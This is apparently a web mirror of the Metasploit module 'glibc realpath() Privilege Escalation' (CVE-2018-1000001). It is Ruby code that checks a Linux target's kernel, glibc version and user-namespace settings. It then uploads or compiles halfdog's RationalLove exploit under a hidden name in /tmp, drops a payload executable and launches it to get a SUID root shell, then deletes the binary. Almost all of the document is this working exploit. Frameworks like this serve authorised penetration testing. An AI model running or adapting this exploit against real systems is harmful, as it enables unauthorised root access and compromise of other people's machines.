Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/glibc_realpath_priv_esc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::Linux::Priv10include Msf::Post::Linux::System11include Msf::Post::Linux::Kernel12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => "glibc 'realpath()' Privilege Escalation",21'Description' => %q{22This module attempts to gain root privileges on Linux systems by abusing23a vulnerability in GNU C Library (glibc) version 2.26 and prior.2425This module uses halfdog's RationalLove exploit to exploit a buffer26underflow in glibc realpath() and create a SUID root shell. The exploit27has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.2829The target system must have unprivileged user namespaces enabled.3031This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)32with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc33version 2.24-11+deb9u1.34},35'License' => MSF_LICENSE,36'Author' => [37'halfdog', # Discovery and RationalLove.c exploit38'bcoles' # Metasploit39],40'DisclosureDate' => '2018-01-16',41'Platform' => [ 'linux' ],42'Arch' => [ ARCH_X86, ARCH_X64 ],43'SessionTypes' => [ 'shell', 'meterpreter' ],44'Targets' => [[ 'Auto', {} ]],45'Privileged' => true,46'References' => [47[ 'BID', '102525' ],48[ 'CVE', '2018-1000001' ],49[ 'EDB', '43775' ],50[ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],51[ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],52[ 'URL', 'https://securitytracker.com/id/1040162' ],53[ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],54[ 'URL', 'https://usn.ubuntu.com/3534-1/' ],55[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]56],57'DefaultTarget' => 0,58'Notes' => {59'AKA' => ['RationalLove.c']60},61'Compat' => {62'Meterpreter' => {63'Commands' => %w[64stdapi_fs_delete_file65]66}67}68)69)70register_options [71OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])72]73register_advanced_options [74OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])75]76end7778def base_dir79datastore['WritableDir'].to_s80end8182def upload(path, data)83print_status "Writing '#{path}' (#{data.size} bytes) ..."84write_file path, data85register_file_for_cleanup path86end8788def upload_and_chmodx(path, data)89upload path, data90cmd_exec "chmod +x '#{path}'"91end9293def upload_and_compile(path, data)94upload "#{path}.c", data9596gcc_cmd = "gcc -w -o #{path} #{path}.c"97if session.type.eql? 'shell'98gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"99end100output = cmd_exec gcc_cmd101102unless output.blank?103print_error output104fail_with Failure::Unknown, "#{path}.c failed to compile"105end106107register_file_for_cleanup path108cmd_exec "chmod +x #{path}"109end110111def strip_comments(c_code)112c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')113end114115def exploit_data(file)116::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file)117end118119def live_compile?120return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')121122if has_gcc?123vprint_good 'gcc is installed'124return true125end126127unless datastore['COMPILE'].eql? 'Auto'128fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'129end130end131132def check133version = kernel_release134if Rex::Version.new(version.split('-').first) < Rex::Version.new('2.6.36')135vprint_error "Linux kernel version #{version} is not vulnerable"136return CheckCode::Safe137end138vprint_good "Linux kernel version #{version} is vulnerable"139140arch = kernel_hardware141unless arch.include? 'x86_64'142vprint_error "System architecture #{arch} is not supported"143return CheckCode::Safe144end145vprint_good "System architecture #{arch} is supported"146147version = glibc_version148if Rex::Version.new(version.split('-').first) > Rex::Version.new('2.26')149vprint_error "GNU C Library version #{version} is not vulnerable"150return CheckCode::Safe151end152vprint_good "GNU C Library version #{version} is vulnerable"153154# fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1155glibc_banner = cmd_exec('ldd --version')156unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')157vprint_error 'No offsets for this version of GNU C Library'158return CheckCode::Safe159end160161config = kernel_config162if config.nil?163vprint_error 'Could not retrieve kernel config'164return CheckCode::Unknown165end166167unless config.include? 'CONFIG_USER_NS=y'168vprint_error 'Kernel config does not include CONFIG_USER_NS'169return CheckCode::Safe170end171vprint_good 'Kernel config has CONFIG_USER_NS enabled'172173unless userns_enabled?174vprint_error 'Unprivileged user namespaces are not permitted'175return CheckCode::Safe176end177vprint_good 'Unprivileged user namespaces are permitted'178179CheckCode::Appears180end181182def exploit183if !datastore['ForceExploit'] && is_root?184fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')185end186187unless writable? base_dir188fail_with Failure::BadConfig, "#{base_dir} is not writable"189end190191unless writable? base_dir192fail_with Failure::BadConfig, "#{base_dir} is not writable"193end194195# Upload exploit executable196executable_name = ".#{rand_text_alphanumeric rand(5..10)}"197@executable_path = "#{base_dir}/#{executable_name}"198if live_compile?199vprint_status 'Live compiling exploit on system...'200upload_and_compile @executable_path, strip_comments(exploit_data('RationalLove.c'))201else202vprint_status 'Dropping pre-compiled exploit on system...'203upload_and_chmodx @executable_path, exploit_data('RationalLove')204end205206# Upload payload executable207payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"208upload_and_chmodx payload_path, generate_payload_exe209210# Launch exploit211print_status 'Launching exploit...'212output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30213output.each_line { |line| vprint_status line.chomp }214end215216def on_new_session(client)217# remove root owned SUID executable218if client.type.eql? 'meterpreter'219client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'220client.fs.file.rm @executable_path221else222client.shell_command_token "rm #{@executable_path}"223end224end225end226227228